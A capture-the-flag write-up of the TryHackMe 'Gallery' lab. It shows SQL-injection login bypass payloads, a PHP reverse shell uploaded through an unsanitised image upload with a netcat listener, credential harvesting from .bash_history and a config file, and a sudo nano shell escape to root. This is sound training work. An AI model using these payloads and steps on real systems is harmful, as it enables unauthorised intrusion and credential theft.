Goal: Exploit a vulnerable image gallery CMS for initial access, pivot to a local user, and escalate to root for both flags (user.txt and root.txt). Target: 10.65.160.193


1. Reconnaissance

First hit it with an nmap scan:

nmap 10.65.160.193 -sV

nmap results

Port 22 (SSH), port 80 (HTTP), and port 8080 (HTTP). Port 80 is just the default Apache2 Ubuntu landing page, but 8080 serves a login portal.

port 80 — default Apache page port 8080 — login portal

The CMS is Simple Image Gallery System.


2. Authentication Bypass (SQLi)

Poked around for ten minutes looking for credentials - default creds, source comments, exposed config and came up empty. With no creds to find, the login form itself is the target, and SQL injection is the obvious first thing to test.

Worked through the standard authentication bypass payloads:

PayloadEffect
admin'--Comments out remainder of query
admin'#MySQL comment syntax
' OR 1=1--Always-true condition
' OR '1'='1Alternative always-true
admin' OR '1'='1'--Combined bypass
' OR 1=1 LIMIT 1--Return only first result

admin'# worked. We’re in.

logged into the CMS

The reason -- failed but # succeeded: MySQL requires a whitespace character after -- to treat it as a comment. # has no such requirement, so it’s the more reliable choice against a MySQL/MariaDB backend.


3. Initial Access (www-data)

Looking at the file path of one of the gallery images, I trimmed the URL back a level and landed on a directory listing of the site’s upload folder.

directory listing

That’s the important find - it gives us a way to reach, and therefore execute, anything we upload.

browsable upload directory

Testing the upload feature, the app doesn’t sanitize the file type or strip the extension, so a .php file goes straight through.

uploading the PHP file

Generated code.php from revshells.com (PentestMonkey PHP reverse shell), set the IP and port to my Kali box, and uploaded it.

Started a listener locally:

nc -lvnp 9001

Then triggered the shell by clicking the newly uploaded code.php in the directory listing.

uploaded file in the directory tree shell caught as www-data

Shell as www-data.

Checked who else lives on the box:

cat /etc/passwd

mike exists

There’s a user mike.

ls -la /home/mike

user.txt not readable as www-data


4. Lateral Movement (www-data to mike)

While hunting for a way to mike, I found a script in /opt:

cat /opt/rootkit.sh

rootkit.sh contents

It’s a menu script that runs rkhunter or opens /root/report.txt in nano. Every branch needs root, and www-data has no sudo rights over it - so it’s useless right now. Noted for later; this becomes the privesc path once we’re mike.

Kept enumerating directories and found /var/backups/mike_home_backup. The visible files in there are all rabbit trails, that cost me a chunk of time… It took me a while to think to check for dot files:

ls -la

hidden files in the backup directory

.bash_history is the one that matters:

cat .bash_history

password in .bash_history

It looks like a copy-paste fail. The password got pasted into the terminal by accident while mike was typing a sudo command, so it ended up recorded in his shell history as a command instead of being consumed by the password prompt.

su mike
# b3stpassw0rdbr0xx

logged in as mike

User flag:

cat /home/mike/user.txt

user flag


5. Detour - Recovering the Admin Hash

At this point I still hadn’t pulled the CMS admin hash, since I’d tunnel-visioned on reaching mike. I’d already passed /var/www/html/gallery earlier in my search, so I went back to it.

cat /var/www/html/gallery/initialize.php

DB credentials in initialize.php

FieldValue
Usergallery_user
Passwordpassw0rd321
Databasegallery_db

Connecting hung immediately:

mariadb -u gallery_user -p'passw0rd321' gallery_db

That’s a TTY problem, not a credentials problem. mariadb is an interactive client and needs a real terminal to render its prompt. Upgrading the shell fixed it:

python3 -c 'import pty; pty.spawn("/bin/bash")'

upgrading the shell result after the upgrade

With a usable TTY, the client connects:

show tables;

tables in gallery_db

SELECT * FROM users;

admin hash

Caveat on the screenshot above: the hash shown is not the one TryHackMe wants. I’d been messing around in the CMS earlier and changed the admin password to asdf, which overwrote the original value in the database. The correct original hash is a228b12a08b6527e7978cbe5d914531c.


6. Privilege Escalation (mike → root)

Now for root. As mike:

sudo -l
User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

This is the script from step 4. Its read branch runs /bin/nano /root/report.txt and because the whole script runs as root, nano runs as root too. GTFOBins documents exactly this: nano doesn’t drop elevated privileges, so it can be escaped into a shell.

sudo /bin/bash /opt/rootkit.sh
# Would you like to versioncheck, update, list or read the report? read

rootkit.sh options

GTFOBins nano entry

Once nano opens, follow the GTFOBins sequence - press Ctrl+R, then Ctrl+X, then run:

reset; sh 1>&0 2>&0

nano open as root

We can see nano getting overwritten by commands (ran as root) and their output: executing the escape

Obtaining the root flag:

root shell

The snag that cost me time here: nano failed with Error opening terminal: unknown because the reverse shell wasn’t a fully interactive TTY - control characters and terminal-drawing calls weren’t being handled. Fixed it the same way as the mariadb hang, but with the full stabilisation rather than just the pty spawn:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm

stty raw -echo is what actually lets Ctrl+R / Ctrl+X through as real control sequences instead of being swallowed by your local terminal, and TERM=xterm is what stops nano from erroring out. Both are required.


Summary

StepActionFinding / Result
1. Reconnmap -sVPorts 22, 80, 8080 open
2. Web enumBrowsed port 8080Simple Image Gallery System login
3. Auth bypassSQLi payload admin'#Admin access to the CMS
4. Path discoveryTrimmed image URL back a levelBrowsable upload directory
5. RCEUploaded PentestMonkey code.php, clicked itShell as www-data
6. User enumcat /etc/passwd, ls -la /home/mikeUser mike; user.txt not readable
7. Lateral enum/var/backups/mike_home_backupls -laHidden dot files (visible files were decoys)
8. Credential leakcat .bash_historyb3stpassw0rdbr0xx
9. Lateral movesu mikeShell as mike
10. User flagcat /home/mike/user.txtCorrect flag
11. DB credscat /var/www/html/gallery/initialize.phpgallery_user / passw0rd321 / gallery_db
12. Admin hashmariadbshow tables;SELECT * FROM users;a228b12a08b6527e7978cbe5d914531c
13. Privesc enumsudo -l(root) NOPASSWD: /bin/bash /opt/rootkit.sh
14. Privescread option → nano as root → GTFOBins escapeRoot shell
15. Root flagcat /root/root.txtCorrect flag

Key Takeaways